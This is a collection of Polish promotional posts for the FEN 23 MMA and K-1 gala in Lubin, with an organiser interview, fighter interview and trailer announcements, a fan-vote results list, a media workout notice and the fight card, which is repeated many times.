PJ: Dolny Śląsk to zagłębie polskiego kickboksingu, stąd karta walk ułożona jest w taki, a nie inny sposób. Mam zwiedzonych wiele klubów w okolicach Wrocławia czy Lubina i wiem, że tam na K-1 jest naprawdę spory nacisk. Chcemy spróbować czegoś innego i dawać kibicom walki w formule, która jest najbliższa ich upodobaniom. To przekłada się na zainteresowanie galą i sprzedaż biletów.

Na trzy tygodnie przed galą zostało niewiele biletów.

PJ: Biletów jest z każdym dniem coraz mniej, bo zainteresowanie lokalnych kibiców jest naprawdę spore. Cieszę się, że przed świętami mogliśmy ogłosić galę FEN 24 będąc spokojnym o to, co będzie miało miejsce w Lubinie. Ze sportowego punktu widzenia 12 stycznia czeka nas naprawdę bardzo dużo dobrego. Dwie walki mistrzowskie, pojedynek w kategorii ciężkiej, marzący o powrocie na tron Wierzbicki czy młody Łopaczyk to gwarancja tego, że Lubin znowu będzie o nas długo pamiętał.

Czy czegoś w Lubinie zabraknie?

PJ: Wydaje mi się, że niczego, bo w Lubinie każdy znajdzie coś dla siebie. Bałem się na początku, że Daguir Imavov zostanie odebrany przez fanów jako łatwy rywal dla Rębeckiego przez to, że nie ma głośnego nazwiska. Trafiliśmy jednak w gusta wszystkich, a to świadczy o tym, że kibice w Polsce naprawdę rozumieją MMA i doceniają poziom prawdziwych zawodników. Daguir to kozak, pokonał dwóch naszych zawodników, teraz idzie kategorię wyżej i na pewno będzie mocnym rywalem dla Rębeckiego, dla którego w Polsce obecnie nie widzę przeciwników.

Pławecki będzie bronił pasa…

PJ: Każda walka Łukasza to pewne emocje i najwyższy światowy poziom. Pławecki się nie zatrzymuje, zawsze pokazuje ogień w klatce od pierwszego do ostatniego gongu. Ja myślę, że to może być K-1, jakiego jeszcze u nas nie widzieliśmy. Gdy rozmawiałem kilkukrotnie z Łukaszem to odnosiłem wrażenie, że rozmawiam z modelowym typem sportowca. Profesjonalistą od A do Z. Wierzę w to, że wraz z Dominikiem Zadorą dadzą walkę, z której będę dumny.

Zadora na pewno mu jednak nie odpuści.

PJ: No i o to w tym wszystkim chodzi. Dominik jest dojrzałym i ułożonym zawodnikiem, który wie, po co trenuje i co może dać mu zwycięstwo z Łukaszem Pławeckim. Wierzę w obu tych chłopaków, bo obaj są potrzebni do tego, żeby to była znakomita walka. Zawsze to powtarzam – niech wygra sport, bo tylko prawdziwy sport na najwyższym poziomie zawsze się obroni.

Sporo emocji może dostarczyć konfrontacja Tymoteusza Łopaczyka z Szymonem Duszą.

PJ: Osobiście uważam, że to może być najlepsza walka tego wieczoru. Przed oczami mam ich walki podczas gali FEN 21 we Wrocławiu, gdy głowiliśmy się z wraz z moim zespołem, komu przyznać bonus za najlepszą walkę wieczoru. Przyznaliśmy dwie nagrody, bo i Tymek i Szymon pokazali się z bardzo dobrej strony. Dusza minimalnie przegrał, ale każdy pamięta, że na kartach punktowych było ciasno i niewiele brakowało, żeby przechylił wynik potyczki na swoją korzyść. Łopaczyk to natomiast nasza perełka i nadzieja polskiego MMA. Nie żartuję – jestem w stałym kontakcie z jego trenerami – z tego chłopaka będziemy mieli wiele pożytku. Nie my, jako FEN, Polacy będą kiedyś z niego dumni.

Walka Zontka z Sianosem…

PJ: Odpowiem krótko. Będzie Zontkowo albo Sianosowi. Radzę nie mrugać.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Łopaczyk przed FEN 23: Szymon walczy widowiskowo, ja też – kibicom to się podoba

Tymoteusz Łopaczyk (4-0, 3 SUB)  podejmie w Lubinie nieobliczalnego Szymona Duszę (6-4, 4 KO, 1 SUB podczas gali FEN 23. Zawodnik pochodzący z Bielawy jest przekonany, że ten pojedynek będzie ozdobą całej dolnośląskiej edycji.

Zapraszamy do obejrzenia wywiadu z Tymoteuszem Łopaczykiem przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówki.

Dołącz do wydarzenia na portalu Facebook: https://www.facebook.com/events/311910869605165/

FEN Social Media:
Facebook: facebook.com/fightexclusivenight/
Twitter: twitter.com/fenmma
Instagram: instagram.com/fightexclusivenight/

Dusza przed FEN 23: Dam z siebie wszystko, w tej walce będzie dużo emocji

Szymon Dusza (6-4, 4 KO, 1 SUB) podczas gali FEN 23 w Lubinie zmierzy się z Tymoteuszem Łopaczykiem (4-0, 3 SUB). Zawodnik zapowiada, że w tej walce będzie działo się naprawdę dużo, tym bardziej, że chce pokazać, iż ostatnia porażka z Oskarem Somerfeldem była tylko wypadkiem przy pracy.

Zapraszamy do obejrzenia wywiadu z Szymonem Duszą przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

FEN 23 Trailer: Łopaczyk VS Dusza

Szymon Dusza (6-4, 4 KO, 1 SUB) spróbuje zatrzymać niepokonanego na zawodowstwie Tymoteusza Łopaczyka (4-0, 3 SUB) podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie.

Zapraszamy do obejrzenia traileru wideo zapowiadającego pojedynek Tymoteusza Łopaczyka z Szymonem Duszą.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Wywiad z Marcinem Zontkiem i trailer walki Zontek vs Sianos

Podczas Fight Exclusive Night 23 kibice zobaczą pojedynek w kategorii ciężkiej Marcina Zontka (17-11, 9 KO, 5 SUB) z Marcinem Sianosem (3-3, 3 KO). Będzie to debiut „Zontiego” w królewskiej dywizji.

Zapraszamy do obejrzenia traileru wideo zapowiadającego pojedynek Marcina Zontka z Marcinem Sianosem.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

FEN: Najlepsi w 2018 roku (wyniki głosowania)

Kibice federacji Fight Exclusive Night wzięli udział w głosowaniu na oficjalnym profilu na Facebooku federacji. Fani wybierali tych, którzy w ciągu ostatnich 12 miesięcy pokazali się z najlepszej strony.

Głosowanie odbyło się w czterech kategoriach. Wybrano najlepszy nokaut, poddanie, najlepszą walkę 2018 roku oraz bohatera, który zrobił największe wrażenie na głosujących. Wyniki rywalizacji przedstawiają się następująco:

Nokaut:

  1. Kamil Gniadek – 57 pkt.
  2. Mateusz Rębecki – 53 pkt.
  3. Andrzej Grzebyk – 9 pkt.

Poddanie:

  1. Bartosz Leśko – 170 pkt.
  2. Tymoteusz Łopaczyk – 84 pkt.
  3. Krzysztof Kułak – 11 pkt.

Walka:

  1. Tymoteusz Łopaczyk vs Jacek Jędraszczyk – 66 pkt.
  2. Arkadiusz Wrzosek vs Artur Bizewski – 21 pkt.
  3. Szymon Dusza vs Oskar Somerfeld – 1 pkt.

Bohater:

  1. Łukasz Pławecki – 80 pkt.
  2. Mateusz Rębecki – 15 pkt.
  3. Andrzej Grzebyk – 10 pkt.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

WALKA

PODDANIE

NOKAUT

BOHATER

FEN 23: Trening medialny przed galą

W poniedziałek, 7 stycznia, o godzinie 12:00 w klubie „Hulakula – Rozrywkowe Centrum Miasta” odbędzie się trening medialny przed galą Fight Exclusive Night 23. W wydarzeniu udział wezmą czołowi zawodnicy, którzy wystąpią w dolnośląskiej edycji.

Podczas treningu medialnego kibicom zademonstrują się:

  • Mateusz Rębecki
  • Łukasz Pławecki
  • Dominik Zadora
  • Tymoteusz Łopaczyk
  • Robert Rajewski
  • Szymon Dusza

Dodatkowo do dyspozycji dziennikarzy oraz kibiców podczas treningu medialnego będą bohaterowie gali FEN 24, która 16 marca odbędzie się w Warszawie – Arkadiusz Wrzosek, Kamil Gniadek i Kamil Łebkowski.

Informacje o treningu medialnym przed galą FEN 23:

Kiedy: 7 stycznia, godzina 12:00.

Gdzie: „Hulakula – Rozrywkowe Centrum Miasta” – ul. Jagiellońska 82B, 03-301 Warszawa

Kto wystąpi: 9 zawodników, którzy wystąpią podczas gali FEN 23 w Lubinie i FEN 24 w Warszawie.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Pławecki przed FEN 23: Po prostu staniemy na środku klatki i pójdziemy na wymianę

Obecny mistrz K-1 w kategorii do 77 kg Łukasz Pławecki (22-14-1) opowiada o swojej poprzedniej walce, przygotowaniach do pierwszej obrony pasa FEN i o możliwym przebiegu walki z Dominikiem Zadorą (21-7).

Zapraszamy do obejrzenia wywiadu z Łukaszem Pławeckim przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Zadora przed FEN 23: Moje starcie z Pławeckim będzie walką roku 2019

Dominik Zadora (21-7) w krótkim wywiadzie przed FEN 23 opowiada o swojej szansie, przygotowaniach przed galą i zapowiada, że jego walka z Łukaszem Pławeckim (22-14-1) będzie świetnym starciem.

Zapraszamy do obejrzenia wywiadu z Dominikiem Zadorą przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]